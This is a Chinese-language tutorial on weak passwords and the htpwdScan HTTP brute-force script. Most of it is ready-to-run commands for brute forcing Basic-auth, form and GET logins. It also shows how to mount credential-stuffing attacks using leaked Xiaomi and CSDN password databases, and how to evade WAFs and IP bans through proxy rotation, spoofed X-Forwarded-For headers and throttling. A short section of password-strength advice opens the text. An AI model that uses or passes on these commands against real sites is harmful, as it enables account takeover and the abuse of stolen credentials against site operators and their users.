天天看點

接口漏洞接口漏洞

接口漏洞

作者:王宇陽

時間:2019-06-07

弱密碼

弱密碼,指通常很容易被人猜測或破解工具破解的密碼;弱密碼的危害往往很大。

弱密碼的危害:

  • 攻擊者可以通過弱密碼輕易的進入系統或管理頁面,最終達到控制權限的目的
  • 通過弱密碼可以獲得一個人的相對性的賬戶權限
利用弱密碼而保護的資料,實際上就是透明的資料。

最常見的弱密碼:

Fuzz弱密碼:https://github.com/TheKingOfDuck/fuzzDicts

網絡專家們的建議則是:”數字+字母+大小寫+符号“是相對比較安全的密碼政策

一些密碼的建議:
  1. 不适用純數字作為密碼政策
  2. 不使用連貫的有簡單邏輯規律的數字、字母、符号組合作為密碼政策
  3. 密碼長度應該在8位以上
  4. 采用四種不同的字元類型的政策
  5. 密碼内容不要包含簡寫、别稱等内容

接口漏洞:HTTP 密碼爆破

htpwdScan:HTTP爆破、撞庫腳本

htpwdScan:是一個基于python編寫的HTTP暴力破解、撞庫的攻擊腳本
  • 支援批量校驗并導入HTTP3代理,低頻撞庫可以成功攻擊大部分網站,繞過大部分的waf
  • 直接擷取網絡上洩露的社工庫,發起撞庫攻擊
  • 支援導入超大字典
  • https://github.com/lijiejie/htpwdScan

htpwdScan的簡單示例

  • HTTP Basic認證

    htpwdScan.py -u=http://auth.58.com/ -basic user.txt password.txt

    導入使用者名密碼字典即可

  • 表單破解

    htpwdScan.py -f post2.txt -d user=user.txt passwd=password.txt -err="success":false"

    從 post2.txt 導入抓的http包,user和passwd是需要破解的參數,而 user.txt password.txt 是儲存了密碼的字典檔案

    success":false 是選擇的失敗标記,标記中若有雙引号,請記得用右斜杠 \ 轉義

  • GET參數破解

    htpwdScan.py -d passwd=password.txt -u="http://xxx.com/index.php?m=login&username=test&passwd=test" -get -err="success":false"

    使用-get參數告訴腳本此處是GET請求

  • 撞庫攻擊

    htpwdScan.py -f=post.txt -database loginname,passwd=xiaomi.txt -regex="(\S+)\s+(\S+)" -err="使用者名或密碼錯誤" -fip

    htpwdScan.py -f=post.txt -database passwd,loginname=csdn.net.sql -regex="\S+ # (\S+) # (\S+)" -err="使用者名或密碼錯誤" -fip

    使用小米和csdn庫發起撞庫攻擊。post.txt是抓包的HTTP請求

    參數-regex設定從檔案提取參數的正規表達式,此處需分組,分組的方式是使用括号()

    小米的資料行格式是

    [email protected] xxxxxxx

    也即

    (使用者名)空白字元(密碼)

    (\S+)\s+(\S+)

    可指定第一個非空白字元拿去填充loginname,而第二個非空白字元串拿去填充passwd

    csdn的資料行格式是

    zdg # 12344321 # [email protected]

    . 正規表達式寫作

    \S+ # (\S+) # (\S+)

    第一個#後面的非空白字元串填充passwd,第二個#後面的非空白字元串填充loginname

    請注意,參數的順序是重要的

    -fip 是啟用僞造随機IP

  • 校驗HTTP代理

    htpwdScan.py -f=post.txt -proxylist=proxies.txt -checkproxy -suc="使用者名或密碼錯誤"

    要破解某個網站,批量測試使用代理是否連通目标網站,把HTTP請求儲存到post.txt,然後用-suc參數設定連通标記

    一個簡單可行的校驗方式是:

    htpwdScan.py -u=http://www.baidu.com -get -proxylist=available.txt -checkproxy -suc="百度一下"

完整參數說明

腳本支援的小功能較多,請耐心閱讀以下完整說明。建議多使用

-debug

參數檢視HTTP請求是否有問題,沒問題再發起真正的破解。
usage: htpwdScan.py [options]

* An HTTP weak pass scanner. By LiJieJie *

optional arguments:
  -h, --help            顯示幫助

Target:
  -u REQUESTURL         設定目标URL, 示例.
                        -u="https://www.test.com/login.php"
  -f REQUESTFILE        從檔案導入HTTP請求
  -https                當從檔案導入HTTP請求時,啟用https(SSL)
  -get                  使用GET方法,預設: POST
  -basic  [ ...]        HTTP Basic 暴力破解.
                        示例. -basic users.dic pass.dic

Dictionary:
  -d Param=DictFile [Param=DictFile ...]
                        為參數設定字典檔案,
                        支援哈希函數如 md5, md5_16, sha1.
                        示例. -d user=users.dic pass=md5(pass.dic)

Detect:
  -no302                無視302跳轉, 預設302敏感
  -err ERR [ERR ...]    響應文本的破解失敗标記,
                        示例. -err "user not exist" "password wrong"
  -suc SUC [SUC ...]    響應文本中的破解成功标記,
                        e.g. -suc "welcome," "admin"
  -herr HERR            響應HTTP頭的破解失敗标記
  -hsuc HSUC            響應HTTP頭的破解成功标記
  -rtxt RetryText       響應文本中的重試标記,出現則重試請求,
                        示例. -rtxt="IP blocked"
  -rntxt RetryNoText    響應文本中的重試标記,未出現則重試請求,
                        示例. -rntxt="<body>"
  -rheader RetryHeader  響應頭中的重試标記,出現則重試請求,
                        示例. -rheader="Set-Cookie:"
  -rnheader RetryNoHeader
                        響應頭中的重試标記,未出現則重試請求,
                        示例. -rheader="HTTP/1.1 200 OK"

Proxy and spoof:
  -proxy Server:Port    設定少量HTTP代理
                        示例. -proxy=127.0.0.1:8000,8.8.8.8:8000
  -proxylist ProxyListFile
                        從檔案批量導入HTTP代理,
                        示例. -proxylist=proxys.txt
  -checkproxy           檢查代理伺服器的可用性.
                        可用代理輸出到 001.proxy.servers.txt
  -fip                  生成随機X-Forwarded-For欺騙源IP
  -fsid FSID            生成随機session ID. 示例. -fsid PHPSESSID
  -sleep SECONDS        每次HTTP結束,等待SECONDS秒,
                        避免IP被臨時屏蔽,進入黑名單

Database attack:
  -database DATABASE    導入社工庫中的資料.
                        示例. -database user,pass=csdn.txt
  -regex REGEX          從社工庫中提取資料的正規表達式,必須分組.
                        示例. -regex="(\S+)\s+(\S+)"

General:
  -t THREADS            工作線程數,預設50
  -o OUTPUT             輸出檔案.  預設: 000.Cracked.Passwords.txt
  -debug                進入debug模式檢查HTTP請求和HTTP響應
  -nov                  隻顯示破解成功的條目,不顯示進度
  -v                    show program's version number and exit           

複制

腳本安裝包分析

lin目錄

  • cmdline.py:解析指令行參數,校驗完整性
  • console_width.py:計算機終端寬度,輸出自适應
  • encodings.py:平台相關的編碼和解碼
  • proxy.py:導入HTTP代理
  • queue.py:生成字典隊列
  • request_fil.py:從text檔案中解析解析并導入HTTP請求
  • request.py:發起HTTP請求,分析HTTP響應的判斷邏輯

dict目錄

  • 該目錄是密碼檔案目錄

BurpSuite爆破網頁密碼

  • 可以使用Burp軟體進行暴力破解